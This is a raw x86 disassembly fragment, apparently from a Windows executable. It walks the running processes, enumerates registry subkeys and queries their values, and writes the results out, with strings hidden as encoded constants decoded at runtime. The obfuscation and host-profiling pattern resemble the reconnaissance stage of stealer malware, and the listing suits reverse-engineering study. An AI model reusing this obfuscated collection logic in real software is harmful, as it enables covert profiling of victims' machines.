push dword [ebp - 0x610]
lea eax, [ebp - 0x5f4]
push eax
lea eax, [ebp - 0x2c]
push eax
push edi
call fcn.00402c50
add esp, 0x10
lea eax, [ebp - 0x618]
push eax
push esi
call dword [sym.imp.KERNEL32.dll_Process32Next]
test eax, eax
jne 0x40ef03
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
lea ecx, [ebp - 0x3d]
mov dword [ebp - 0x3d], 0xefe0b0b4
mov dword [ebp - 0x39], 0xb7cbd8d2
mov dword [ebp - 0x35], 0x99a6b0a0
mov dword [ebp - 0x31], 0x100ccc8
call fcn.00462e80
lea eax, [ebp - 0x3d]
push eax
push edi
call fcn.00402c50
movaps xmm0, xmmword [0x526ac0]
lea ecx, [ebp - 0xb0]
movups xmmword [ebp - 0xb0], xmm0
add esp, 8
mov dword [ebp - 0x80], 0x878688
movaps xmm0, xmmword [0x527870]
movups xmmword [ebp - 0xa0], xmm0
mov byte [ebp - 0x7c], 1
movaps xmm0, xmmword [0x526520]
movups xmmword [ebp - 0x90], xmm0
call fcn.00462e20
lea eax, [ebp - 0xc4]
mov dword [ebp - 0xc4], 0
push eax
push 0x20019
push 0
lea eax, [ebp - 0xb0]
push eax
push connect
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
test eax, eax
jne 0x40f18c
xor esi, esi
nop dword [eax + eax]
push 0
push 0
push 0
push 0
lea eax, [ebp - 0x78]
mov dword [ebp - 0x78], 0x400
push eax
lea eax, [ebp - 0xa18]
push eax
push esi
push dword [ebp - 0xc4]
call dword [sym.imp.ADVAPI32.dll_RegEnumKeyExA]
mov dword [ebp - 0x64], eax
test eax, eax
jne 0x40f177
lea ecx, [ebp - 0x28]
mov dword [ebp - 0x5c], eax
mov dword [ebp - 0x28], 0x99e7c99c
mov word [ebp - 0x24], 0xce
mov byte [ebp - 0x22], 1
call fcn.004634d0
lea eax, [ebp - 0xa18]
push eax
lea eax, [ebp - 0xb0]
push eax
lea eax, [ebp - 0x28]
push eax
lea eax, [ebp - 0x1730]
push eax
call dword [sym.imp.USER32.dll_wsprintfA]
add esp, 0x10
lea eax, [ebp - 0x5c]
push eax
push 0x20019
push 0
lea eax, [ebp - 0x1730]
push eax
push connect
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
test eax, eax
jne 0x40f174
lea ecx, [ebp - 0x3a]
mov dword [ebp - 0x70], 0xf003f
mov dword [ebp - 0x78], 0x400
mov dword [ebp - 0x3a], 0xccc8d3fd
mov dword [ebp - 0x36], 0x8ec6dfd1
mov dword [ebp - 0x32], 0xa6afa0
mov byte [ebp - 0x2e], 1
call fcn.00463250
lea eax, [ebp - 0x78]
push eax
lea eax, [ebp - 0x1f30]
push eax
lea eax, [ebp - 0x70]
push eax
push 0
lea eax, [ebp - 0x3a]
push eax
push dword [ebp - 0x5c]
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
test eax, eax
jne 0x40f16b
lea ecx, [ebp - 0x4d]
mov dword [ebp - 0x4d], 0xccc8d3fd
mov dword [ebp - 0x49], 0x96c6dfd1
mov dword [ebp - 0x45], 0xadb0b0a4
mov dword [ebp - 0x41], 0x100a8aa
call fcn.00462e80
lea eax, [ebp - 0x78]
push eax
lea eax, [ebp - 0x1b30]
push eax
lea eax, [ebp - 0x70]
push eax
push 0
lea eax, [ebp - 0x4d]
push eax
push dword [ebp - 0x5c]
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
test eax, eax
jne 0x40f16b
lea ecx, [ebp - 0x1b]
mov dword [ebp - 0x1b], 0xe79bc99c
mov dword [ebp - 0x17], 0xcde2cd98
mov word [ebp - 0x13], 0xcb
mov byte [ebp - 0x11], 1
call fcn.00463400
lea eax, [ebp - 0x1b30]
push eax
lea eax, [ebp - 0x1f30]
push eax
lea eax, [ebp - 0x1b]
push eax
push edi
call fcn.00402c50
add esp, 0x10
push dword [ebp - 0x5c]
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov eax, dword [ebp - 0x64]
inc esi
test eax, eax
je 0x40f000
push dword [ebp - 0xc4]
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
push edi
call fcn.004e6b38
add esp, 4
lea ecx, [ebp - 0xd4]
call fcn.00468250
lea ecx, [ebp - 0x18c]
call fcn.004026c0
lea ecx, [ebp - 0xfc]
call fcn.0040f500
lea ecx, [ebp - 0x1a4]
call fcn.004026c0
lea ecx, [ebp - 0x160]
call fcn.004026c0
lea ecx, [ebp - 0x130]
mov byte [ebp - 4], 4
call fcn.004026c0
sub esp, 0x18
mov byte [ebp - 0x2d], 1
mov esi, esp
lea eax, [ebp - 0x148]
sub esp, 0x18
mov ecx, esp
push eax
call fcn.00466110
mov ecx, esi
call fcn.0040b940
mov dl, byte [ebp - 0x2d]
lea ecx, [ebp - 0x1bc]
add esp, 0x18
call fcn.0040d030
add esp, 0x18
mov byte [ebp - 4], 0x1b
lea ecx, [ebp - 0x74]
mov dword [ebp - 0x74], 0x100d8ce
call fcn.00463430
lea ecx, [ebp - 0x148]
call fcn.00402800
lea ecx, [ebp - 0x74]
push ecx
push eax
call fcn.004e32b0
mov esi, eax
add esp, 8
test esi, esi
je 0x40f26d
cmp dword [ebp - 0x1a8], 0x10
lea ecx, [ebp - 0x1bc]
push esi
push dword [ebp - 0x1ac]
cmovae ecx, dword [ebp - 0x1bc]
push 1
push ecx
call fcn.004eb0b8
push esi
call fcn.004e6b38
add esp, 0x14
lea ecx, [ebp - 0x1bc]
call fcn.004026c0
lea ecx, [ebp - 0x148]
call fcn.004026c0
lea ecx, [ebx + 8]
call fcn.004026c0
lea ecx, [ebx + 0x20]
call fcn.004026c0
lea ecx, [ebx + 0x38]
call fcn.004026c0
lea ecx, [ebx + 0x50]
call fcn.004026c0
mov ecx, dword [ebp - 0xc]
pop edi
mov dword fs:[0], ecx
pop esi
mov esp, ebp
pop ebp
mov esp, ebx
pop ebx
ret